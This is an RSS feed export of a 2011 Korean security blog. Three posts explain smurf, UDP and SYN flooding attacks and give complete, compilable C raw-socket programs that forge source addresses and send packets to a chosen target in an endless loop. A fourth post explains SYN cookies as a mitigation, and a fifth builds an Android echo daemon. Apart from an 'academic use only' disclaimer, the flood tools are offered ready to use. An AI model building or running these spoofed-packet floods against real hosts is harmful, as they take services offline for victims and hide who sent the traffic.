<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Developer Story</title>
	<atom:link href="http://www.onurmark.co.kr/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.onurmark.co.kr</link>
	<description>Linux Security 보안 암호화 개발자 이야기</description>
	<lastBuildDate>Tue, 11 Oct 2011 03:06:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>ICMP Flooding &#8211; smurf attack</title>
		<link>http://www.onurmark.co.kr/?p=441</link>
		<comments>http://www.onurmark.co.kr/?p=441#comments</comments>
		<pubDate>Wed, 31 Aug 2011 01:12:35 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[C,C++]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ICMP flooding]]></category>
		<category><![CDATA[raw socket]]></category>
		<category><![CDATA[smurf]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=441</guid>
		<description><![CDATA[SYNOPSIS Smurf 공격은 DoS(Denial-of-service) 공격의 하나로 source 주소를 victim의 주소로 dest 주소를 broadcast address로 spoofing한 ping request 메시지를 네트워크에 흘리는 공격이다. 네트워크에 물린 노드들은 ping response 메시지를 victim으로 보내어 bandwidth와 네트워크 resource를 소모시키게 된다. SCENARIO Broadcast address 계산 방법은 Netmask를 &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=441">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<h2>SYNOPSIS</h2>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/smurf.png" rel="lightbox[441]" title="smurf"><img class="aligncenter size-full wp-image-442" title="smurf" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/smurf.png" alt="" width="605" height="385" /></a>Smurf 공격은 DoS(Denial-of-service) 공격의 하나로 source 주소를 victim의 주소로 dest 주소를 broadcast address로 spoofing한 ping request 메시지를 네트워크에 흘리는 공격이다. 네트워크에 물린 노드들은 ping response 메시지를 victim으로 보내어 bandwidth와 네트워크 resource를 소모시키게 된다.</p>
<h2>SCENARIO</h2>
<p>Broadcast address 계산 방법은 Netmask를 1의 보수를 취한 값과 IP address와의 OR 연산이다.</p>
<blockquote><p>Broadcast addr = IP | ~NETMASK</p></blockquote>
<p>공격 설정</p>
<blockquote><p>Victim&#8217;s IP: 192.168.41.22 / 24<br />
Broadcast address: 192.168.41.255</p></blockquote>
<h2>ANALYSIS</h2>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/tcpdump_smurf.png" rel="lightbox[441]" title="tcpdump_smurf"><img class="aligncenter size-full wp-image-444" title="tcpdump_smurf" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/tcpdump_smurf.png" alt="" width="1204" height="532" /></a>네트워크에 물린 모든 노드들이 Victim의 주소로 Ping response 메시지를 전송하는 것을 확인 할 수 있다.</p>
<h2>ATTACK SOURCE CODE</h2>
<pre class="brush: cpp; title: ; notranslate">
/*
 * Copyright (c) 2011 Jae-young, Park &lt;onurmark1@gmail.com&gt;
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netdb.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;netinet/in_systm.h&gt;
#include &lt;netinet/ip.h&gt;
#include &lt;netinet/ip_icmp.h&gt;
#include &lt;string.h&gt;
#include &lt;arpa/inet.h&gt;

#define PCKT_LEN 512

unsigned short csum(unsigned short *buf, int len)
{
	unsigned long sum;

	for (sum = 0; len &gt; 0; len--)
		sum += *buf++;
	sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);
	sum += (sum &gt;&gt; 16);

	return (unsigned short)(~sum);
}

int main(int argc, char **argv)
{
	int s, i;
	char buffer[PCKT_LEN];
	struct iphdr *ipheader = (struct iphdr *)buffer;
	struct icmphdr *icmpheader = (struct icmphdr *)(buffer + sizeof(struct iphdr));
	struct sockaddr_in dst;
	int on;

	if (argc &lt; 3) {
		printf(&quot;\nUsage: %s &lt;spoofed saddress&gt; &lt;broadcast address&gt;\n&quot;, argv[0]);

		exit(1);
	}

	on = 1;
	memset(buffer, 0x0, PCKT_LEN);

	if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
		perror(&quot;Error: socket()&quot;);
		exit(1);
	}

	// Inform the kernel do not fill up the headers' structure, we fabricated our own
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &amp;on, sizeof(on)) &lt; 0) {
		perror(&quot;Error: setsockopt()&quot;);
		exit(1);
	}

	// Set use broadcast address
	if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, &amp;on, sizeof(on)) &lt; 0) {
		perror(&quot;Error: setsockopt() - boradcast&quot;);
		exit(1);
	}

	// IP structure
	ipheader-&gt;version	= 4;
	ipheader-&gt;ihl		= sizeof(struct iphdr) &gt;&gt; 2;
	ipheader-&gt;tot_len	= htons(sizeof(struct iphdr) + sizeof(struct icmphdr));
	ipheader-&gt;ttl		= 128;
	ipheader-&gt;protocol	= IPPROTO_ICMP;
	ipheader-&gt;daddr		= inet_addr(argv[2]);
	ipheader-&gt;saddr		= inet_addr(argv[1]);

	dst.sin_family		= AF_INET;
	dst.sin_addr.s_addr	= ipheader-&gt;daddr;

	// ICMP structure
	icmpheader-&gt;type				= ICMP_ECHO;
	icmpheader-&gt;code				= 0;
	icmpheader-&gt;un.echo.id			= 0xae23;
	icmpheader-&gt;un.echo.sequence	= htons(1);

	// Checksum
	ipheader-&gt;check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct icmphdr)));
	icmpheader-&gt;checksum = csum((unsigned short *)icmpheader, sizeof(struct icmphdr));

	while(1) {
		if (sendto(s, buffer, sizeof(struct iphdr) + sizeof(struct icmphdr), 0, (struct sockaddr *)&amp;dst, sizeof(dst)) &lt; 0) {
			perror(&quot;sendto() error&quot;);
		}
	}
	close(s);

	return 0;
}
</pre>
<p><span style="color: #ff0000;">* 위 소스 코드를 사용하여 발생되는 모든 법적 책임은 사용자 본인에게 있습니다. 학술용도로만 사용하세요.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=441</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SYN Cookie</title>
		<link>http://www.onurmark.co.kr/?p=425</link>
		<comments>http://www.onurmark.co.kr/?p=425#comments</comments>
		<pubDate>Tue, 30 Aug 2011 05:57:48 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[3-way handshaking]]></category>
		<category><![CDATA[ISN]]></category>
		<category><![CDATA[SYN cookie]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=425</guid>
		<description><![CDATA[SYNOPSIS SYN Cookie는 클라이언트의 SYN 패킷에 대한 응답으로 SYN/ACK를 전송할때 ISN(Initial Sequence Number)에 다가 cookie 값을 집어 넣어 클라이언트의 TCP connection을 establish 하는 방법이다. SYN flooding에 대한 방어법은 아니지만 완화하는 효과가 있다. CREATE cookie * ISN 생성은 여러가지 방법이 있으나 &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=425">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<h2>SYNOPSIS</h2>
<p>SYN Cookie는 클라이언트의 SYN 패킷에 대한 응답으로 SYN/ACK를 전송할때 ISN(Initial Sequence Number)에 다가 cookie 값을 집어 넣어 클라이언트의 TCP connection을 establish 하는 방법이다. SYN flooding에 대한 방어법은 아니지만 완화하는 효과가 있다.</p>
<h2>CREATE cookie</h2>
<p><span style="color: #ff0000;">* ISN 생성은 여러가지 방법이 있으나 기본적인 로직은 같으므로 간단한 것으로 예시함. 추측이 불가능하고 생성속도가 빠를수록 좋은 알고리즘이다.</span></p>
<blockquote><p><strong><em>t</em></strong> = timestamp (64 second의 해상도를 가짐) 즉, 최대 64초 동안 유효한 cookie가 생성<br />
<strong><em>m</em></strong> = MSS(Maximum Segment Size)<br />
<strong><em>s</em></strong> = server IP + PORT, client IP + PORT + t의 24bits hash 값</p>
<p>SYN cookie에서 ISN(Initial Sequence Number) 생성 방법<br />
<strong>First 5bits:</strong> <strong><em>t</em></strong> mod 32<br />
<strong>Next 3bits:</strong> <strong><em>m</em></strong>의 encoded value<br />
<strong>Final 24bits:</strong> <strong><em>s</em></strong></p></blockquote>
<h2>3-way handshaking with SYN cookie</h2>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/syn_cookie.png" rel="lightbox[425]" title="syn_cookie"><img class="aligncenter size-full wp-image-426" title="syn_cookie" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/syn_cookie.png" alt="" width="605" height="348" /></a></p>
<p>그림은 3-way handshaking 과정에서 SYN cookie의 동작을 예시하고 있다.</p>
<ol>
<li>클라이언트의 SYN패킷을 수신</li>
<li>응답으로 SYN/ACK 패킷의 Sequence number field에다가 cookie값을 넣어 클라이언트에 송신</li>
<li>클라이언트는 SYN/ACK의 응답으로 Acknowledgement number field에 cookie + 1 값을 서버로 송신</li>
<li>서버는 수신한 ACK 패킷의 Acknowledgement number field &#8211; 1 값이 cookie 값과 일치하면 TCP connection을 establish 한다.</li>
</ol>
<h2>RESTRICTIONS</h2>
<p>SYN Cookie 방법은 프로토콜 스펙의 수정이 필요 없으므로 현재의 TCP implementation과 호환이 되는 방법이다. 그러나 3가지 정도의 제한 사항이 발생한다.</p>
<ul>
<li>MSS 값이 3bit로 encode 되므로 특정한 2의 3승인 8가지 값만 사용할 수 있다.</li>
<li>Server의 경우 모든 TCP options의 사용이 불가능해진다. backlog 큐에 저장할 때 패킷 옵션이 같이 저장되나 SYN cookie 경우 그 과정이 생략되므로 TCP options을 사용 할 수 없다.</li>
<li>정상적인 클라이언트가 마지막으로 보낸 ACK가 네트워크에서 분실될 경우 클라이언트는 3-way handshake가 완료되었지만 서버의 경우는 그렇지 않으므로 연결이 불가능해진다.</li>
</ul>
<p>SYN Cookie는 엄밀히 말하면 클라이언트의 유효성을 확인 하는 알고리즘이다. 그러나 backlog queue를 사용하지 않으므로 SYN flooding에 좀 더 잘 견디는 특성이 있지만 방어법이라고는 할 수 없다.</p>
<p><strong>Reference</strong></p>
<hr />
<p><a href="http://en.wikipedia.org/wiki/SYN_cookies">http://en.wikipedia.org/wiki/SYN_cookies</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=425</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UDP Flooding 공격</title>
		<link>http://www.onurmark.co.kr/?p=409</link>
		<comments>http://www.onurmark.co.kr/?p=409#comments</comments>
		<pubDate>Tue, 30 Aug 2011 04:51:43 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[C,C++]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[flooding]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[UDP]]></category>
		<category><![CDATA[UDP flooding]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=409</guid>
		<description><![CDATA[개요 UDP Flooding은 DoS 공격(Denial-of-service attack)의 한 종류로써 많은 수의 UDP packet을 victim에 전송하여 정상적인 서비스가 불가능하도록 하는 공격이다. 시나리오 1500byte의 크기를 가지며 source 주소가 spoofing된 UDP 패킷을 victim으로 다량 전송하여 네트워크 대역폭(bandwidth)을 소모한다. 효과 UDP packet은 spoofed IP와 port를 &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=409">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<h2>개요</h2>
<hr />
<p>UDP Flooding은 DoS 공격(Denial-of-service attack)의 한 종류로써 많은 수의 UDP packet을 victim에 전송하여 정상적인 서비스가 불가능하도록 하는 공격이다.</p>
<h2>시나리오</h2>
<hr />
<p>1500byte의 크기를 가지며 source 주소가 spoofing된 UDP 패킷을 victim으로 다량 전송하여 네트워크 대역폭(bandwidth)을 소모한다.</p>
<h2>효과</h2>
<hr />
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/udp_packet.png" rel="lightbox[409]" title="udp_packet"><img class="aligncenter size-full wp-image-411" title="udp_packet" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/udp_packet.png" alt="" width="1204" height="536" /></a></p>
<p>UDP packet은 spoofed IP와 port를 사용하여 IP filter를 이용해서는 차단하기가 어렵다. 네트워크 bandwidth를 소모하기 때문에 특정 서비스가 아니라 victim의 모든 서비스가 불가능해지며 특정 포트가 열려있을 필요도 없다. 모든 flooding 공격류의 특징이 그러하듯 패킷 자체에는 특이점이나 패턴이 존재하지 않으므로 차단하기가 쉽지 않다.</p>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/udp_ping.png" rel="lightbox[409]" title="udp_ping"><img class="aligncenter size-full wp-image-414" title="udp_ping" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/udp_ping.png" alt="" width="677" height="442" /></a></p>
<p>ping을 해보면 정상적인 서비스가 불가능해 지는 것을 알 수 있다.</p>
<h2>UDP flooding source</h2>
<hr />
<pre class="brush: cpp; title: ; notranslate">
/*
 * Copyright (c) 2011 Jae-young, Park &lt;onurmark1@gmail.com&gt;
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;memory.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/ip.h&gt;
#include &lt;netinet/udp.h&gt;

#define PCKT_LEN 8192
#define PAYLOAD_LEN 1460

// Simple checksum function if ip checksum, pseudo_sum = 0;
unsigned short csum(unsigned short *buf, int len, unsigned long pseudo_sum)
{
	register unsigned long sum = pseudo_sum;

	while (len--)
		sum += *buf++;

	sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);
	sum += (sum &gt;&gt; 16);

	return (unsigned short)(~sum);
}

int main(int argc, char *argv[])
{
	char buffer[PCKT_LEN];

	struct iphdr *ipheader = (struct iphdr *)buffer;
	struct udphdr *udpheader = (struct udphdr *)(buffer + sizeof(struct iphdr));

	int sd;
	struct sockaddr_in din;
	int one = 1;
	const int *val = &amp;one;

	memset(buffer, 0x0, PCKT_LEN);

	if (argc &lt; 3) {
		printf(&quot;Usage: %s &lt;target hostname/IP&gt; &lt;port&gt;\n&quot;, argv[0]);
		exit(-1);
	}

	sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sd &lt; 0) {
		perror(&quot;socket() error&quot;);
		exit(-1);
	}

	// Address family
	din.sin_family		= AF_INET;
	din.sin_addr.s_addr	= inet_addr(argv[1]);
	din.sin_port		= htons(atoi(argv[2]));

	// IP structure
	ipheader-&gt;version	= 4;
	ipheader-&gt;ihl		= sizeof(struct iphdr) &gt;&gt; 2;
	ipheader-&gt;tot_len	= htons(sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOAD_LEN);
	ipheader-&gt;ttl		= 128;
	ipheader-&gt;protocol	= IPPROTO_UDP;
	ipheader-&gt;daddr		= inet_addr(argv[1]);

	// UDP structure
	udpheader-&gt;dest		= htons(atoi(argv[2]));
	udpheader-&gt;len		= htons(sizeof(struct udphdr) + PAYLOAD_LEN);

	// Inform the kernel do not fill up the headers' structure, we fabricated our own
	if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) &lt; 0) {
		perror(&quot;setsockopt() error&quot;);
		exit(-1);
	}

	srandom(time(NULL));

	printf(&quot;Target IP: %s port: %u.\n&quot;, argv[1], atoi(argv[2]));
	while(1) {
		// IP structure
		ipheader-&gt;saddr		= random();
		ipheader-&gt;check		= 0;

		// UDP structure
		udpheader-&gt;check	= 0;
		udpheader-&gt;source	= htons(1024 + (random() % (65535 - 1024)));

		// IP checksum calculation
		ipheader-&gt;check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOAD_LEN), 0);

		// Pseudo header checksum = saddr + daddr + 4352[htons(17)] + tcp length
		unsigned long sum =
			(ipheader-&gt;saddr &gt;&gt; 16) + (ipheader-&gt;saddr &amp; 0xffff) +
			(ipheader-&gt;daddr &gt;&gt; 16) + (ipheader-&gt;daddr &amp; 0xffff) +
			4352 +
			htons(sizeof(struct udphdr) + PAYLOAD_LEN);
		// UDP checksum calculation
		udpheader-&gt;check = csum((unsigned short *)udpheader, sizeof(struct udphdr) + PAYLOAD_LEN, sum);

		if (sendto(sd, buffer, sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOAD_LEN, 0, (struct sockaddr *)&amp;din, sizeof(din)) &lt; 0) {
			perror(&quot;sendto() error&quot;);
			exit(-1);
		}
	}
	close(sd);

	return 0;
}
</pre>
<p><span style="color: #ff0000;">* 위 소스 코드를 사용하여 발생되는 모든 법적 책임은 사용자 본인에게 있습니다. 학술용도로만 사용하세요.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=409</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SYN flooding 공격</title>
		<link>http://www.onurmark.co.kr/?p=388</link>
		<comments>http://www.onurmark.co.kr/?p=388#comments</comments>
		<pubDate>Mon, 29 Aug 2011 08:36:18 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[C,C++]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[raw socket]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[TCP SYN Flooding]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=388</guid>
		<description><![CDATA[TCP SYN Flooding 이란? TCP SYN Flooding은 DoS 공격(Denial-Of-Service attack)의 하나로 victim에 다수의 적법한 SYN 트래픽을 발생하여 서버의 가용 리소스를 소모하는 공격이다. 공격 시나리오 Victim 서버에는 tcp 서비스인 apache httpd 서비스가 80 포트에서 Listen하고 있다. 이번 테스트에서는 httpd를 사용하였지만 tcp를 &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=388">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<h2>TCP SYN Flooding 이란?</h2>
<hr />
<p>TCP SYN Flooding은 DoS 공격(Denial-Of-Service attack)의 하나로 victim에 다수의 적법한 SYN 트래픽을 발생하여 서버의 가용 리소스를 소모하는 공격이다.</p>
<h2>공격 시나리오</h2>
<hr />
<a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/SYN_Flooding.png" rel="lightbox[388]" title="SYN_Flooding"><img class="aligncenter size-full wp-image-389" title="SYN_Flooding" src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/SYN_Flooding.png" alt="" width="463" height="350" /></a></p>
<p>Victim 서버에는 tcp 서비스인 apache httpd 서비스가 80 포트에서 Listen하고 있다. 이번 테스트에서는 httpd를 사용하였지만 tcp를 사용하는 어떤 서비스라도 상관이 없다.<br />
Attacker는 Raw socket을 이용하여 TCP SYN flag를 설정 후 변조된 source IP, port를 이용하여 victim에게 다량의 패킷을 전송한 다음 victim의 상태를 살펴본다.
</p>
<h2>효과</h2>
<hr />
<a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/tcpdump.png" rel="lightbox[388]" title="tcpdump"><img src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/tcpdump.png" alt="" title="tcpdump" width="605" height="254" class="aligncenter size-full wp-image-390" /></a></p>
<p>Victim은 들어온 SYN 요청을 backlog queue에 저장하고 spoofed source IP 주소로 SYN/ACK를 보내고 ACK를 기다리게 된다. 다량의 SYN의 전송으로 backlog 큐가 full이 날 경우 더 이상의 SYN요청은 처리되지 않게 된다.</p>
<p><a href="http://www.onurmark.co.kr/wp-content/uploads/2011/08/netstat.png" rel="lightbox[388]" title="netstat"><img src="http://www.onurmark.co.kr/wp-content/uploads/2011/08/netstat.png" alt="" title="netstat" width="606" height="382" class="aligncenter size-full wp-image-391" /></a></p>
<p>netstat 명령으로 확인하면 half-open 상태로 대기하고 있는 모습을 확인 할 수 있다.</p>
<h2>SYN flooding source</h2>
<hr />
<pre class="brush: cpp; title: ; notranslate">
/*
 * Copyright (c) 2011 Jae-young, Park &lt;onurmark1@gmail.com&gt;
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;memory.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/ip.h&gt;
#include &lt;netinet/tcp.h&gt;

#define PCKT_LEN 8192

// Simple checksum function if ip checksum, pseudo_sum = 0;
unsigned short csum(unsigned short *buf, int len, unsigned long pseudo_sum)
{
	register unsigned long sum = pseudo_sum;

	while (len--)
		sum += *buf++;

	sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);
	sum += (sum &gt;&gt; 16);

	return (unsigned short)(~sum);
}

int main(int argc, char *argv[])
{
	char buffer[PCKT_LEN];

	struct iphdr *ipheader = (struct iphdr *)buffer;
	struct tcphdr *tcpheader = (struct tcphdr *)(buffer + sizeof(struct iphdr));

	int sd;
	struct sockaddr_in din;
	int one = 1;
	const int *val = &amp;one;

	memset(buffer, 0x0, PCKT_LEN);

	if (argc != 3) {
		printf(&quot;Usage: %s &lt;target hostname/IP&gt; &lt;port&gt;\n&quot;, argv[0]);
		exit(-1);
	}

	sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sd &lt; 0) {
		perror(&quot;socket() error&quot;);
		exit(-1);
	}

	// Address family
	din.sin_family		= AF_INET;
	din.sin_addr.s_addr	= inet_addr(argv[1]);
	din.sin_port		= htons(atoi(argv[2]));

	// IP structure
	ipheader-&gt;version	= 4;
	ipheader-&gt;ihl		= sizeof(struct iphdr) &gt;&gt; 2;
	ipheader-&gt;tot_len	= htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
	ipheader-&gt;ttl		= 128;
	ipheader-&gt;protocol	= IPPROTO_TCP;
	ipheader-&gt;daddr		= inet_addr(argv[1]);

	// TCP structure
	tcpheader-&gt;dest		= htons(atoi(argv[2]));
	tcpheader-&gt;seq		= htonl(0);
	tcpheader-&gt;syn		= 1;
	tcpheader-&gt;doff		= sizeof(struct tcphdr) &gt;&gt; 2;
	tcpheader-&gt;window	= htons(8192);

	// Inform the kernel do not fill up the headers' structure, we fabricated our own
	if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) &lt; 0) {
		perror(&quot;setsockopt() error&quot;);
		exit(-1);
	}

	srandom(time(NULL));

	printf(&quot;Target IP: %s port: %u.\n&quot;, argv[1], atoi(argv[2]));
	while(1) {
		// IP structure
		ipheader-&gt;saddr		= random();
		ipheader-&gt;check		= 0;

		// TCP structure
		tcpheader-&gt;check	= 0;
		tcpheader-&gt;source	= htons(1024 + (random() % (65535 - 1024)));
		tcpheader-&gt;seq		= random();

		// IP checksum calculation
		ipheader-&gt;check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct tcphdr)), 0);

		// Pseudo header checksum = saddr + daddr + 1536[htons(6)] + tcp length
		unsigned long sum =
			(ipheader-&gt;saddr &gt;&gt; 16) + (ipheader-&gt;saddr &amp; 0xffff) +
			(ipheader-&gt;daddr &gt;&gt; 16) + (ipheader-&gt;daddr &amp; 0xffff) +
			1536 +
			htons(sizeof(struct tcphdr));
		// TCP checksum calculation
		tcpheader-&gt;check = csum((unsigned short *)tcpheader, sizeof(struct tcphdr), sum);

		if (sendto(sd, buffer, sizeof(struct iphdr) + sizeof(struct tcphdr), 0, (struct sockaddr *)&amp;din, sizeof(din)) &lt; 0) {
			perror(&quot;sendto() error&quot;);
			exit(-1);
		}
	}
	close(sd);

	return 0;
}
</pre>
<p><span style="color: #ff0000;">* 위 소스 코드를 사용하여 발생되는 모든 법적 책임은 사용자 본인에게 있습니다. 학술용도로만 사용하세요.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=388</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Native daemon 작성 및 platform에 등록</title>
		<link>http://www.onurmark.co.kr/?p=334</link>
		<comments>http://www.onurmark.co.kr/?p=334#comments</comments>
		<pubDate>Wed, 10 Aug 2011 05:01:24 +0000</pubDate>
		<dc:creator>onurmark1@gmail.com</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[init.rc]]></category>
		<category><![CDATA[native daemon]]></category>
		<category><![CDATA[platform]]></category>

		<guid isPermaLink="false">http://www.onurmark.co.kr/?p=334</guid>
		<description><![CDATA[이 포스트에서는 간단한 Echo daemon을 android platform에 포함하려 한다. {platform_src}/external은 android의 실행에 필요한 유틸리티나 서비스들이 위치한다. 이곳에 간단한 echo daemon을 넣고 서비스로 등록해 보자. 먼저 Android platform source 중 mydroid/external 에 echo-daemon이란 이름으로 디렉토리를 생성한 후 아래 두개의 파일을 넣는다. &#8230;<p class="read-more"><a href="http://www.onurmark.co.kr/?p=334">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>이 포스트에서는 간단한 Echo daemon을 android platform에 포함하려 한다. {platform_src}/external은 android의 실행에 필요한 유틸리티나 서비스들이 위치한다. 이곳에 간단한 echo daemon을 넣고 서비스로 등록해 보자.</p>
<p>먼저 Android platform source 중 mydroid/external 에 echo-daemon이란 이름으로 디렉토리를 생성한 후 아래 두개의 파일을 넣는다. echo.c는 간단한 echo 서버의 역할을 하는 daemon이며 Android.mk는 컴파일 시 빌더가 echo daemon을 컴파일 하는 방법을 적어놓은 지시서이다.</p>
<blockquote><p>$ mkdir ~/mydroid/external/echo-daemon</p></blockquote>
<pre class="brush: cpp; title: echo.c; notranslate">
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;pthread.h&gt;

#define MAXLINE 1024

#ifdef ANDROID_COMPATIBLE
#include &lt;android/log.h&gt;
#include &lt;cutils/sockets.h&gt;
#include &lt;private/android_filesystem_config.h&gt;

#define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, &quot;echo-service&quot;, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG  , &quot;echo-service&quot;, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO   , &quot;echo-service&quot;, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN   , &quot;echo-service&quot;, __VA_ARGS__)
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR  , &quot;echo-service&quot;, __VA_ARGS__)
#endif

int main(int argc, char *argv[])
{
	int s_sockfd, c_sockfd;
	struct sockaddr_in caddr, saddr;
	int pid, res, clen;
	char buf[MAXLINE];

	memset(&amp;saddr, 0x0, sizeof(struct sockaddr_in));
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = htonl(INADDR_ANY);
	saddr.sin_port = htons(7);

	if ((s_sockfd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0) {
		LOGE(&quot;Cannot create socket&quot;);
		return -1;
	}

	if (res = bind(s_sockfd, (struct sockaddr *)&amp;saddr, sizeof(saddr)) &lt; 0) {
		LOGE(&quot;Cannot bind socket&quot;);
		return res;
	}

	if ((res = listen(s_sockfd, 5)) &lt; 0) {
		LOGE(&quot;listen error&quot;);
		return res;
	}

	LOGD(&quot;Server waiting client...&quot;);
	while(1) {
		c_sockfd = accept(s_sockfd, (struct sockaddr *)&amp;caddr, &amp;clen);
		pid = fork();
		if (pid == 0) {
			LOGD(&quot;New client connected...&quot;);
			if (c_sockfd == -1) {
				LOGE(&quot;Accept error&quot;);
				exit(0);
			}
			while(1) {
				memset(buf, 0x00, MAXLINE);
				if (read(c_sockfd, buf, MAXLINE) &lt;= 0) {
					close(c_sockfd);
					exit(0);
				}
				write(c_sockfd, buf, strlen(buf));
			}
		}
	}
	close(c_sockfd);
	return 0;
}
</pre>
<pre class="brush: bash; title: Android.mk; notranslate">
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)

LOCAL_SRC_FILES := \
	echo.c

LOCAL_SHARED_LIBRARIES := libcutils
LOCAL_CFLAGS := -DANDROID_COMPATIBLE

LOCAL_MODULE := echo-daemon

include $(BUILD_EXECUTABLE)
</pre>
